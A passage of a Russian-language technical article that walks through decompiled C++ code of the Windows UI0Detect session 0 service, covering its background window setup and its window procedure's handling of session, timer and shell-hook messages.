&nbsp; &nbsp; WNDCLASS WndClass<span class="br0">&#123;</span><span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">style</span> <span class="sy1">=</span> CS_NOCLOSE<span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">lpfnWndProc</span> <span class="sy1">=</span> <span class="br0">&#40;</span>WNDPROC<span class="br0">&#41;</span>BackgroundWndProc<span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">hInstance</span> <span class="sy1">=</span> g_hInstance<span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">cbWndExtra</span> <span class="sy1">=</span> <span class="nu0">8</span><span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">hCursor</span> <span class="sy1">=</span> LoadCursor<span class="br0">&#40;</span><span class="kw2">nullptr</span>, IDC_ARROW<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">hbrBackground</span> <span class="sy1">=</span> CreateSolidBrush<span class="br0">&#40;</span><span class="nu12">0xEEDAC8</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; WndClass.<span class="me1">lpszClassName</span> <span class="sy1">=</span> TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; v6 <span class="sy1">=</span> RegisterClass<span class="br0">&#40;</span><span class="sy3">&amp;</span>WndClass<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="sy2">*</span>a1 <span class="sy1">=</span> v6<span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>v6<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; HWND hWnd <span class="sy1">=</span> CreateWindowEx<span class="br0">&#40;</span>WS_EX_NOACTIVATE, TEXT<span class="br0">&#40;</span><span class="st0">&quot;$$$UI0Background&quot;</span><span class="br0">&#41;</span>, TEXT<span class="br0">&#40;</span><span class="st0">&quot;Shell0 Window&quot;</span><span class="br0">&#41;</span>, WS_POPUP <span class="sy3">|</span> WS_CLIPCHILDREN,
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">NULL</span>, <span class="kw2">NULL</span>, GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>, GetSystemMetrics<span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; 
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="sy2">*</span>phWnd <span class="sy1">=</span> hWnd<span class="br0">&#41;</span> <span class="sy1">==</span> <span class="kw2">nullptr</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; ShowWindow<span class="br0">&#40;</span>hWnd, SW_SHOW<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SystemParametersInfo<span class="br0">&#40;</span>SPI_GETMINIMIZEDMETRICS, <span class="kw3">sizeof</span><span class="br0">&#40;</span>MINIMIZEDMETRICS<span class="br0">&#41;</span>, <span class="sy3">&amp;</span>pvParam, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; v13 <span class="sy3">|</span><span class="sy1">=</span> <span class="nu0">8</span><span class="sy4">;</span>
&nbsp; &nbsp; SystemParametersInfo<span class="br0">&#40;</span>SPI_SETMINIMIZEDMETRICS, <span class="kw3">sizeof</span><span class="br0">&#40;</span>MINIMIZEDMETRICS<span class="br0">&#41;</span>, <span class="sy3">&amp;</span>pvParam, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; HMODULE hModule <span class="sy1">=</span> GetModuleHandle<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;user32&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hModule<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetTaskmanWindow <span class="sy1">=</span> <span class="br0">&#40;</span>_SetTaskmanWindow<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hModule, <span class="st0">&quot;SetTaskmanWindow&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetShellWindow <span class="sy1">=</span> <span class="br0">&#40;</span>_SetShellWindow<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hModule, <span class="st0">&quot;SetShellWindow&quot;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; SetTaskmanWindow<span class="br0">&#40;</span><span class="sy2">*</span>phWnd<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; SetShellWindow<span class="br0">&#40;</span><span class="sy2">*</span>phWnd<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">return</span> TRUE<span class="sy4">;</span>
<span class="br0">&#125;</span></pre></td></tr></table></div></td></tr></tbody></table></div>Теперь обратим внимание на BackgroundWndProc, поскольку именно здесь будут выполняться основные задачи инициализации и поведения службы.<br />
Как только приходит сообщение WM_CREATE, UI0Detect будет использовать API RegisterWindowMessage со специальным параметром SHELLHOOK, чтобы он мог получать определенные сообщения уведомления оболочки. Затем он инициализирует свой список окон верхнего уровня и регистрируется для получения уведомлений о создании новой сессии от службы терминалов. Наконец, он вызывает SetupSharedMemory для инициализации раздела, который он будет использовать для связи с процессами UI0Detect в клиентском режиме, и вызывает EnumWindows для перечисления всех окон на рабочем столе сессии 0.<br />
Другое сообщение, которое получает этот обработчик окна - это WM_DESTROY, которое, как следует из его названия, отменяет регистрацию уведомления сессии, уничтожает списки окон и завершает работу.<br />
Эта процедура также получает сообщения WM_WTSSESSION_CHANGE, которые она зарегистрировала для уведомлений о сеансе. Служба ожидает создания удаленных или локальных сеансов или отключений. Когда создается новый сеанс, он запрашивает разрешение нового виртуального экрана, чтобы знать, где и как отображать собственное окно. Эта функция существует для обнаружения фактического переключения на сеанс 0.<br />
Помимо этих трех сообщений, основным «рабочим» сообщением для обработчика окна является WM_TIMER. Все события, которые мы видели до сих пор, вызывают SetTimer с другим параметром, чтобы сгенерировать какое-то уведомление. Эти уведомления затем анализируются оконной процедурой либо для возврата в сессию пользователя, либо для измерения того, был ли в последнее время какой-либо вход в сессию 0, а также для обработки операций создания и уничтожения динамического окна.<br />
<div class="codeblock"><table class="cpp"><thead><tr><td colspan="2" id="821546858"  class="head">C++</td></tr></thead><tbody><tr class="li1"><td><div id="821546858" style="height: 350px" class="codeframe"><table><tr class="li1"><td class="ln" style="padding: 0px 10px 0px 5px;"><pre class="de1">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
</pre></td><td class="de1"><pre class="de1">LRESULT CALLBACK BackgroundWndProc<span class="br0">&#40;</span>HWND hWnd, UINT uMsg, WPARAM wParam, HWND<span class="sy2">*</span> lParam<span class="br0">&#41;</span>
<span class="br0">&#123;</span>
&nbsp; &nbsp; HWND<span class="sy2">*</span> v4 <span class="sy1">=</span> lParam<span class="sy4">;</span>
&nbsp; &nbsp; __int64 v7 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; PDWORD v8<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v9<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> nHeight<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v11<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v12<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v13<span class="sy4">;</span>
&nbsp; &nbsp; PDWORD v14<span class="sy4">;</span>
&nbsp; &nbsp; <span class="kw4">int</span> v15<span class="sy4">;</span>
&nbsp; &nbsp; WPARAM v16<span class="sy4">;</span>
&nbsp; &nbsp; WPARAM v17<span class="sy4">;</span>
&nbsp; &nbsp; UINT_PTR v18<span class="sy4">;</span>
&nbsp; &nbsp; UINT v19<span class="sy4">;</span>
&nbsp; &nbsp; DWORD v20<span class="sy4">;</span>
&nbsp; &nbsp; SIZE_T v21 <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp; &nbsp; UINT v22<span class="sy4">;</span>
&nbsp; &nbsp; LPVOID<span class="sy2">*</span> v23<span class="sy4">;</span>
&nbsp; &nbsp; LPVOID<span class="sy2">*</span> v24<span class="sy4">;</span>
&nbsp; &nbsp; PDWORD v25<span class="sy4">;</span>
&nbsp; &nbsp; UINT dwNewLong<span class="sy4">;</span>
&nbsp; &nbsp; HWND v27<span class="sy4">;</span>
&nbsp; &nbsp; LASTINPUTINFO LastInputInfo<span class="br0">&#123;</span> <span class="kw3">sizeof</span><span class="br0">&#40;</span>LASTINPUTINFO<span class="br0">&#41;</span> <span class="br0">&#125;</span><span class="sy4">;</span>
&nbsp; &nbsp; HWND<span class="sy2">*</span> v31 <span class="sy1">=</span> lParam<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">switch</span> <span class="br0">&#40;</span>uMsg<span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; <span class="kw1">case</span> WM_CREATE<span class="sy4">:</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; dwNewLong <span class="sy1">=</span> RegisterWindowMessage<span class="br0">&#40;</span>TEXT<span class="br0">&#40;</span><span class="st0">&quot;SHELLHOOK&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>dwNewLong<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy2">-</span><span class="nu0">1</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; SetLastError<span class="br0">&#40;</span>NO_ERROR<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>SetWindowLongPtr<span class="br0">&#40;</span>hWnd, <span class="nu0">0</span>, dwNewLong<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>GetLastError<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy2">-</span><span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>RegisterShellHookWindow<span class="br0">&#40;</span>hWnd<span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="sy2">-</span><span class="nu0">1</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; qword_140008620 <span class="sy1">=</span> <span class="br0">&#40;</span>__int64<span class="br0">&#41;</span><span class="sy3">&amp;</span>g_TopLevelWindowList<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; g_TopLevelWindowList <span class="sy1">=</span> <span class="sy3">&amp;</span>g_TopLevelWindowList<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; g_dwTopLevelWindowCount <span class="sy1">=</span> <span class="kw2">NULL</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_fSqmIsOptedIn<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetTimer<span class="br0">&#40;</span>hWnd, <span class="nu0">1</span>, <span class="nu12">0x5265C00</span>, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; WTSRegisterSessionNotification<span class="br0">&#40;</span>hWnd, NOTIFY_FOR_THIS_SESSION<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; SetupSharedMemory<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; InitializeAllowedSQMPaths<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; EnumWindows<span class="br0">&#40;</span>EnumWindowsCallbackProc, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v27 <span class="sy1">=</span> hWnd<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>g_dwTopLevelWindowCount<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v18 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v19 <span class="sy1">=</span> <span class="nu0">28800000</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; LABEL_63<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SetTimer<span class="br0">&#40;</span>v27, v18, v19, <span class="kw2">nullptr</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; PostMessage<span class="br0">&#40;</span>hWnd, WM_TIMER, <span class="nu0">4</span>, <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_61<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> WM_DESTROY<span class="sy4">:</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v25 <span class="sy1">=</span> <span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_pxSharedInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span><span class="br0">&#40;</span>PDWORD<span class="br0">&#41;</span>g_pxSharedInfo <span class="sy2">+</span> <span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy3">|</span><span class="sy1">=</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">++*</span> v25<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; WTSUnRegisterSessionNotification<span class="br0">&#40;</span>hWnd<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; EmptyListOfTrackedWindow<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; PostQuitMessage<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; <span class="kw1">case</span> WM_TIMER<span class="sy4">:</span>
&nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span> <span class="br0">&#40;</span>wParam<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">1</span><span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinSqmEndSession<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sy2">*</span><span class="br0">&#40;</span>PSIZE_T<span class="br0">&#41;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span> <span class="sy1">=</span> <span class="br0">&#40;</span>ULONG<span class="br0">&#41;</span>WinSqmStartSession<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_guidService, <span class="nu0">984067</span>, <span class="nu0">0</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WinSqmSetString<span class="br0">&#40;</span><span class="sy3">&amp;</span>g_hSessionService.<span class="me1">Data1</span>, <span class="nu0">1411</span>, TEXT<span class="br0">&#40;</span><span class="st0">&quot;Session 0 viewer service&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">2</span><span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_30<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="nu0">3</span><span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetLastInputInfo<span class="br0">&#40;</span><span class="sy3">&amp;</span>LastInputInfo<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>LastInputInfo.<span class="me1">dwTime</span> <span class="sy1">==</span> g_xTCAtLastInput.<span class="me1">dwTime</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WTSDisconnectSession<span class="br0">&#40;</span>WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, FALSE<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; g_xTCAtLastInput.<span class="me1">dwTime</span> <span class="sy1">=</span> LastInputInfo.<span class="me1">dwTime</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v20 <span class="sy1">=</span> GetTickCount<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy2">-</span> g_xTCAtLastInput.<span class="me1">dwTime</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v19 <span class="sy1">=</span> <span class="nu0">60000</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>v20 <span class="sy1">&lt;=</span> <span class="nu12">0xEA60</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v19 <span class="sy1">=</span> <span class="nu0">60000</span> <span class="sy2">-</span> v20<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LastInputInfo.<span class="me1">dwTime</span> <span class="sy1">=</span> v19<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v18 <span class="sy1">=</span> <span class="nu0">3</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_62<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>wParam <span class="sy3">!</span><span class="sy1">=</span> <span class="nu0">4</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>GetTickCount<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy2">-</span> g_dwTCAtLastUserPing <span class="sy1">&lt;</span> <span class="nu12">0x7530</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> v7<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; g_dwTCAtLastUserPing <span class="sy1">=</span> GetTickCount<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v22 <span class="sy1">=</span> g_dwTopLevelWindowCount<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>g_dwTopLevelWindowCount<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_23<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; v23 <span class="sy1">=</span> <span class="br0">&#40;</span>LPVOID<span class="sy2">*</span><span class="br0">&#41;</span>g_TopLevelWindowList<span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>g_TopLevelWindowList <span class="sy3">!</span><span class="sy1">=</span> <span class="sy3">&amp;</span>g_TopLevelWindowList<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v24 <span class="sy1">=</span> v23<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v23 <span class="sy1">=</span> <span class="br0">&#40;</span>LPVOID<span class="sy2">*</span><span class="br0">&#41;</span><span class="sy2">*</span>v23<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>IsWindow<span class="br0">&#40;</span><span class="br0">&#40;</span>HWND<span class="br0">&#41;</span>v24<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OnTopLevelWindowDestruction<span class="br0">&#40;</span><span class="br0">&#40;</span>HWND<span class="br0">&#41;</span>v24<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">while</span> <span class="br0">&#40;</span>v23 <span class="sy3">!</span><span class="sy1">=</span> <span class="sy3">&amp;</span>g_TopLevelWindowList<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v22 <span class="sy1">=</span> g_dwTopLevelWindowCount<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy3">!</span>v22<span class="br0">&#41;</span> <span class="br0">&#123;</span>
&nbsp; &nbsp; &nbsp; &nbsp; LABEL_23<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SendMessage<span class="br0">&#40;</span>g_hWndS0Dlg, <span class="nu12">0x46C</span>, <span class="kw2">NULL</span>, <span class="nu0">1011</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SendMessage<span class="br0">&#40;</span>g_hWndS0Dlg, <span class="nu12">0x46C</span>, <span class="nu0">3</span>, <span class="nu0">1010</span><span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v18 <span class="sy1">=</span> <span class="nu0">2</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v19 <span class="sy1">=</span> <span class="nu0">28800000</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; LABEL_62<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v27 <span class="sy1">=</span> hWnd<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">goto</span> LABEL_63<span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>
&nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; CreateClients<span class="br0">&#40;</span>v21<span class="br0">&#41;</span><span class="sy4">;</span>
&nbsp;
&nbsp; &nbsp; LABEL_61<span class="sy4">:</span>
&nbsp; &nbsp; &nbsp; &nbsp; v18 <span class="sy1">=</span> <span class="nu0">4</span><span class="sy4">;</span>
&nbsp; &nbsp; &nbsp; &nbsp; v19 <span class="sy1">=</span> <span class="nu0">300000</span><span class="sy4">;</span>
